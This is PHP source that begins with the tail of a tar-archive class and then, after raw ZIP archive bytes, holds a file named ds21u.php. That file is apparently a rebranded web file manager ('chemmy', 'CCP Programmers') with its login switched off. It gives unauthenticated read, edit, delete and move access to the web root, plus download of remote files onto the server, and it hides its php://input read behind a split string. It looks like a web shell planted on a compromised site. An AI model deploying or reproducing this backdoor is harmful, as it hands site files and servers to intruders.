		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKv<m\�L� ����	ds21u.phpnu�[���<?php
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":true,"hide_Cols":false,"theme":"light"}';

define('VERSION', '3.2.7');

define('APP_TITLE', 'chemmy');

$dauth = false;

$auth_users = array(
    'admin' => '5024e3faef9c2ea521705535bdc81191',
    'user' => '5024e3faef9c2ea521705535bdc81191'
);


$readonly_users = array(
    'user'
);


$global_readonly = false;

$directories_users = array();

$use_highlightjs = true;

$highlightjs_style = 'vs';

$edit_files = true;

$default_timezone = 'Etc/UTC';

$root_path = $_SERVER['DOCUMENT_ROOT'];

$root_url = '';

$http_host = $_SERVER['HTTP_HOST'];

$iconv_input_encoding = 'UTF-8';

$datetime_format = 'm/d/Y g:i A';

$path_display_mode = 'full';

$allowed_file_extensions = '';

$allowed_upload_extensions = '';

$favicon_path = '';

$exclude_items = array();

$online_viewer = 'google';

$sticky_navbar = true;

$max_upload_size_bytes = 5000000000; 

$upload_chunk_size_bytes = 2000000; 

$ip_ruleset = 'OFF';

$ip_silent = true;

$ip_whitelist = array(
    '127.0.0.1',    
    '::1'           
);

$ip_blacklist = array(
    '0.0.0.0',      
    '::'            
);

$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

$external = array(
    'css-bootstrap' => '<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-Zenh87qX5JnK2Jl0vWa8Ck2rdkQ2Bzep5IDxbcnCeuOxjzrPF/et3URy9Bv1WTRi" crossorigin="anonymous">',
    'css-dropzone' => '<link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.css" rel="stylesheet">',
    'css-font-awesome' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css" crossorigin="anonymous">',
    'css-highlightjs' => '<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/styles/' . $highlightjs_style . '.min.css">',
    'js-ace' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.13.1/ace.js"></script>',
    'js-bootstrap' => '<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-OERcA2EqjJCMA+/3y+gxIOqMEjwtxJY7qPCqsdltbNJuaOe923+mo//f6V8Qbsw3" crossorigin="anonymous"></script>',
    'js-dropzone' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.9.3/min/dropzone.min.js"></script>',
    'js-jquery' => '<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>',
    'js-jquery-datatables' => '<script src="https://cdn.datatables.net/1.13.1/js/jquery.dataTables.min.js" crossorigin="anonymous" defer></script>',
    'js-highlightjs' => '<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.6.0/highlight.min.js"></script>',
    'pre-jsdelivr' => '<link rel="preconnect" href="https://cdn.jsdelivr.net" crossorigin/><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"/>',
    'pre-cloudflare' => '<link rel="preconnect" href="https://cdnjs.cloudflare.com" crossorigin/><link rel="dns-prefetch" href="https://cdnjs.cloudflare.com"/>'
);


define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);


define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes);


if ( !defined( 'DN_CESSION_ID')) {
    define('DN_CESSION_ID', 'filemanager');
}


$cfg = new FM_Config();


$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

$hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true;

// Theme
$theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light';

define('FM_THEME', $theme);

$lang_list = array(
    'en' => 'English'
);

if ($report_errors == true) {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 1);
} else {
    @ini_set('error_reporting', E_ALL);
    @ini_set('display_errors', 0);
}

if (defined('FM_EMBED')) {
    $dauth = false;
    $sticky_navbar = false;
} else {
    @set_time_limit(600);

    date_default_timezone_set($default_timezone);

    ini_set('default_charset', 'UTF-8');
    if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) {
        mb_internal_encoding('UTF-8');
    }
    if (function_exists('mb_regex_encoding')) {
        mb_regex_encoding('UTF-8');
    }

    session_cache_limiter('nocache'); 
    session_name(DN_CESSION_ID );
    function session_error_handling_function($code, $msg, $file, $line) {
        if ($code == 2) {
            session_abort();
            session_id(session_create_id());
            @session_start();
        }
    }
    set_error_handler('session_error_handling_function');
    session_start();
    restore_error_handler();
}

if (empty($_SESSION['token'])) {
    if (function_exists('random_bytes')) {
        $_SESSION['token'] = bin2hex(random_bytes(32));
    } else {
    	$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
    }
}

if (empty($auth_users)) {
    $dauth = false;
}

$is_https = isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1)
    || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https';

if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    $wd = fm_clean_path(dirname($_SERVER['PHP_SELF']));
    $root_url =  $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']];
}

$root_url = fm_clean_path($root_url);

defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : ''));
defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']);

// logout
if (isset($_GET['logout'])) {
    unset($_SESSION[DN_CESSION_ID]['logged']);
    unset( $_SESSION['token']); 
    fm_redirect(FM_SELF_URL);
}

if ($ip_ruleset != 'OFF') {
    function getClientIP() {
        if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) {
            return  $_SERVER["HTTP_CF_CONNECTING_IP"];
        }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            return  $_SERVER["HTTP_X_FORWARDED_FOR"];
        }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) {
            return $_SERVER['REMOTE_ADDR'];
        }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) {
            return $_SERVER['HTTP_CLIENT_IP'];
        }
        return '';
    }

    $clientIp = getClientIP();
    $proceed = false;
    $whitelisted = in_array($clientIp, $ip_whitelist);
    $blacklisted = in_array($clientIp, $ip_blacklist);

    if($ip_ruleset == 'AND'){
        if($whitelisted == true and $blacklisted == false){
            $proceed = true;
        }
    } else
    if($ip_ruleset == 'OR'){
         if($whitelisted == true || $blacklisted == false){
            $proceed = true;
        }
    }

    if($proceed == false){
        trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING);

        if($ip_silent == false){
            fm_set_msg(lng('Access denied. IP restriction applicable'), 'error');
            fm_show_header_login();
            fm_show_message();
        }
        exit();
    }
}


if ($dauth) {
    if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) {
    } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) {
        sleep(1);
        if(function_exists('password_verify')) {
            if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) {
                $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr'];
                fm_set_msg(lng('You are logged in'));
                fm_redirect(FM_SELF_URL);
            } else {
                unset($_SESSION[DN_CESSION_ID]['logged']);
                fm_set_msg(lng('Login failed. Invalid username or password'), 'error');
                fm_redirect(FM_SELF_URL);
            }
        } else {
            fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');;
        }
    } else {
        // Form
        unset($_SESSION[DN_CESSION_ID]['logged']);
        fm_show_header_login();
        ?>
        <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat <?php echo fm_get_theme(); ?>">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="mb-3">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" M1008 width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"/>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"/>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"/></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title"><?php echo APP_TITLE; ?></h1>
                                        </div>
                                    </div>
                                    <hr />
                                    <div class="mb-3">
                                        <label for="fm_usr" class="pb-2"><?php echo lng('Username'); ?></label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required autofocus>
                                    </div>

                                    <div class="mb-3">
                                        <label for="fm_pwd" class="pb-2"><?php echo lng('Password'); ?></label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required>
                                    </div>

                                    <div class="mb-3">
                                        <?php fm_show_message(); ?>
                                    </div>
                                    <input type="hidden" name="token" value="<?php echo htmlentities($_SESSION['token']); ?>" />
                                    <div class="mb-3">
                                        <button type="submit" class="btn btn-success btn-block w-100 mt-4" role="button">
                                            <?php echo lng('Login'); ?>
                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            &mdash;&mdash; &copy;
                            <a href="." target="_blank" class="text-decoration-none text-muted" data-version="<?php echo VERSION; ?>">CCP Programmers</a> &mdash;&mdash;
                        </div>
                    </div>
                </div>
            </div>
        </section>

        <?php
        fm_show_footer_login();
        exit;
    }
}


if ($dauth and isset($_SESSION[DN_CESSION_ID]['logged'])) {
    $root_path = isset($directories_users[$_SESSION[DN_CESSION_ID]['logged']]) ? $directories_users[$_SESSION[DN_CESSION_ID]['logged']] : $root_path;
}

$root_path = rtrim($root_path, '\\/');
$root_path = str_replace('\\', '/', $root_path);
if (!@is_dir($root_path)) {
    echo "<h1>".lng('Root path')." \"{$root_path}\" ".lng('not found!')." </h1>";
    exit;
}

defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files);
defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path);
defined('FM_LANG') || define('FM_LANG', $lang);
defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions);
defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions);
defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items));
defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer);
define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users)));
define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\');


if (!isset($_GET['p']) and empty($_FILES)) {
    fm_redirect(FM_SELF_URL . '?p=');
}

// get path
$p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : '');

// clean path
$p = fm_clean_path($p);


$isim = "//input";
$input = file_get_contents('php://'.$isim);
$_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST;

define('FM_PATH', $p);
define('FM_USE_AUTH', $dauth);
define('FM_EDIT_FILE', $edit_files);
defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding);
defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs);
defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style);
defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format);

unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style);


if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) {
    if(!verifyToken($_POST['token'])) {
        header('HTTP/1.0 401 Unauthorized');
        die("Invalid Token.");
    }

    if(isset($_POST['type']) and $_POST['type']=="search") {
        $dir = $_POST['path'] == "." ? '': $_POST['path'];
        $response = scan(fm_clean_path($dir), $_POST['content']);
        echo json_encode($response);
        exit();
    }

    // save editor file
    if (isset($_POST['type']) and $_POST['type'] == "save") {
        // get current path
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        // check path
        if (!is_dir($path)) {
            fm_redirect(FM_SELF_URL . '?p=');
        }
        $file = $_GET['edit'];
        $file = fm_clean_path($file);
        $file = str_replace('/', '', $file);
        if ($file == '' || !is_file($path . '/' . $file)) {
            fm_set_msg(lng('File not found'), 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
        header('X-XSS-Protection:0');
        $file_path = $path . '/' . $file;

        $writedata = $_POST['content'];
        $fd = fopen($file_path, "w");
        $write_results = @fwrite($fd, $writedata);
        fclose($fd);
        if ($write_results === false){
            header("HTTP/1.1 500 Internal Server Error");
            die("Could Not Write File! - Check Permissions / Ownership");
        }
        die(true);
    }

    // backup files
    if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) {
        $fileName = fm_clean_path($_POST['file']);
        $fullPath = FM_ROOT_PATH . '/';
        if (!empty($_POST['path'])) {
            $relativeDirPath = fm_clean_path($_POST['path']);
            $fullPath .= "{$relativeDirPath}/";
        }
        $date = date("dMy-His");
        $newFileName = "{$fileName}-{$date}.bak";
        $fullyQualifiedFileName = $fullPath . $fileName;
        try {
            if (!file_exists($fullyQualifiedFileName)) {
                throw new Exception("File {$fileName} not found");
            }
            if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) {
                echo "Backup {$newFileName} created";
            } else {
                throw new Exception("Could not copy file {$fileName}");
            }
        } catch (Exception $e) {
            echo $e->getMessage();
        }
    }

    // Save Config
    if (isset($_POST['type']) and $_POST['type'] == "settings") {
        global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme;
        $newLng = $_POST['js-language'];
        fm_get_translations([]);
        if (!array_key_exists($newLng, $lang_list)) {
            $newLng = 'en';
        }

        $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false;
        $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false;
        $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false;
        $te3 = $_POST['js-theme-3'];

        if ($cfg->data['lang'] != $newLng) {
            $cfg->data['lang'] = $newLng;
            $lang = $newLng;
        }
        if ($cfg->data['error_reporting'] != $erp) {
            $cfg->data['error_reporting'] = $erp;
            $report_errors = $erp;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['show_hidden'] != $shf) {
            $cfg->data['show_hidden'] = $shf;
            $show_hidden_files = $shf;
        }
        if ($cfg->data['hide_Cols'] != $hco) {
            $cfg->data['hide_Cols'] = $hco;
            $hide_Cols = $hco;
        }
        if ($cfg->data['theme'] != $te3) {
            $cfg->data['theme'] = $te3;
            $theme = $te3;
        }
        $cfg->save();
        echo true;
    }

    // new password hash
    if (isset($_POST['type']) and $_POST['type'] == "pwdhash") {
        $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : '';
        echo $res;
    }

    //upload using url
    if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }

         function event_callback ($message) {
            global $callback;
            echo json_encode($message);
        }

        function get_file_path () {
            global $path, $fileinfo, $temp_file;
            return $path."/".basename($fileinfo->name);
        }

        $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null;

        $domain = parse_url($url, PHP_URL_HOST);
        $port = parse_url($url, PHP_URL_PORT);
        $knownPorts = [22, 23, 25, 3306];

        if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) {
            $err = array("message" => "URL is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        $use_curl = false;
        $temp_file = tempnam(sys_get_temp_dir(), "upload-");
        $fileinfo = new stdClass();
        $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20");

        $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;
        $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION));
        $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

        $err = false;

        if(!$isFileAllowed) {
            $err = array("message" => "File extension is not allowed");
            event_callback(array("fail" => $err));
            exit();
        }

        if (!$url) {
            $success = false;
        } else if ($use_curl) {
            @$fp = fopen($temp_file, "w");
            @$ch = curl_init($url);
            curl_setopt($ch, CURLOPT_NOPROGRESS, false );
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($ch, CURLOPT_FILE, $fp);
            @$success = curl_exec($ch);
            $curl_info = curl_getinfo($ch);
            if (!$success) {
                $err = array("message" => curl_error($ch));
            }
            @curl_close($ch);
            fclose($fp);
            $fileinfo->size = $curl_info["size_download"];
            $fileinfo->type = $curl_info["content_type"];
        } else {
            $ctx = stream_context_create();
            @$success = copy($url, $temp_file, $ctx);
            if (!$success) {
                $err = error_get_last();
            }
        }

        if ($success) {
            $success = rename($temp_file, strtok(get_file_path(), '?'));
        }

        if ($success) {
            event_callback(array("done" => $fileinfo));
        } else {
            unlink($temp_file);
            if (!$err) {
                $err = array("message" => "Invalid url parameter");
            }
            event_callback(array("fail" => $err));
        }
    }
    exit();
}

if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) {
    $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) );
    if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        $is_dir = is_dir($path . '/' . $del);
        if (fm_rdelete($path . '/' . $del)) {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');
            fm_set_msg(sprintf($msg, fanco($del)));
        } else {
            $msg = $is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');
            fm_set_msg(sprintf($msg, fanco($del)), 'error');
        }
    } else {
        fm_set_msg(lng('Invalid file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Create a new file/folder
if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) {
    $type = urldecode($_POST['newfile']);
    $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) );
    if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) {
        $path = FM_ROOT_PATH;
        if (FM_PATH != '') {
            $path .= '/' . FM_PATH;
        }
        if ($type == "file") {
            if (!file_exists($path . '/' . $new)) {
                if(fm_is_valid_ext($new)) {
                    @fopen($path . '/' . $new, 'w') or die('Cannot open file:  ' . $new);
                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fanco($new)));
                } else {
                    fm_set_msg(lng('File extension is not allowed'), 'error');
                }
            } else {
                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            }
        } else {
            if (fm_mkdir($path . '/' . $new, false) === true) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), $new));
            } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fanco($new)), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fanco($new)), 'error');
            }
        }
    } else {
        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Copy folder / file
if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) {
    // from
    $copy = urldecode($_GET['copy']);
    $copy = fm_clean_path($copy);
    // empty path
    if ($copy == '') {
        fm_set_msg(lng('Source path not defined'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    $from = FM_ROOT_PATH . '/' . $copy;

    $dest = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $dest .= '/' . FM_PATH;
    }
    $dest .= '/' . basename($from);

    $move = isset($_GET['move']);
    $move = fm_clean_path(urldecode($move));

    if ($from != $dest) {
        $msg_from = trim(FM_PATH . '/' . basename($from), '/');
        if ($move) {
            $rename = fm_rename($from, $dest);
            if ($rename) {
                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } elseif ($rename === null) {
                fm_set_msg(lng('File or folder with this path already exists'), 'alert');
            } else {
                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        } else { 
            if (fm_rcopy($from, $dest)) {
                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)));
            } else {
                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fanco($copy), fanco($msg_from)), 'error');
            }
        }
    } else {
       if (!$move){ 
            $msg_from = trim(FM_PATH . '/' . basename($from), '/');
            $fn_parts = pathinfo($from);
            $extension_suffix = '';
            if(!is_dir($from)){
               $extension_suffix = '.'.$fn_parts['extension'];
            }

            $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;
            $loop_count = 0;
            $max_loop = 1000;
            
            while(file_exists($fn_duplicate) & $loop_count < $max_loop){
               $fn_parts = pathinfo($fn_duplicate);
               $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;
               $loop_count++;
            }
            if (fm_rcopy($from, $fn_duplicate, False)) {
                fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)));
            } else {
                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fanco($copy), fanco($fn_duplicate)), 'error');
            }
       }
       else{
           fm_set_msg(lng('Paths must be not equal'), 'alert');
       }
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}


if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) {

    if(!verifyToken($_POST['token'])) {
        fm_set_msg(lng('Invalid Token.'), 'error');
    }
    
    // from
    $path = FM_ROOT_PATH;
    if (FM_PATH != '') {
        $path .= '/' . FM_PATH;
    }
    // to
    $copy_to_path = FM_ROOT_PATH;
    $copy_to = fm_clean_path($_POST['copy_to']);
    if ($copy_to != '') {
        $copy_to_path .= '/' . $copy_to;
    }
    if ($path == $copy_to_path) {
        fm_set_msg(lng('Paths must be not equal'), 'alert');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    if (!is_dir($copy_to_path)) {
        if (!fm_mkdir($copy_to_path, true)) {
            fm_set_msg('Unable to create destination folder', 'error');
            $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        }
    }
    // move?
    $move = isset($_POST['move']);
    // copy/move
    $errors = 0;
    $files = $_POST['file'];
    if (is_array($files) and count($files)) {
        foreach ($files as $f) {
            if ($f != '') {
                $f = fm_clean_path($f);

                $from = $path . '/' . $f;

                $dest = $copy_to_path . '/' . $f;

                if ($move) {
                    $rename = fm_rename($from, $dest);
                    if ($rename === false) {
                        $errors++;
                    }
                } else {
                    if (!fm_rcopy($from, $dest)) {
                        $errors++;
                    }
                }
            }
        }
        if ($errors == 0) {
            $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied';
            fm_set_msg($msg);
        } else {
            $msg = $move ? 'Error while moving items' : 'Error while copying items';
            fm_set_msg($msg, 'error');
        }
    } else {
        fm_set_msg(lng('Nothing selected'), 'alert');
    }
    $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
}

// Rename
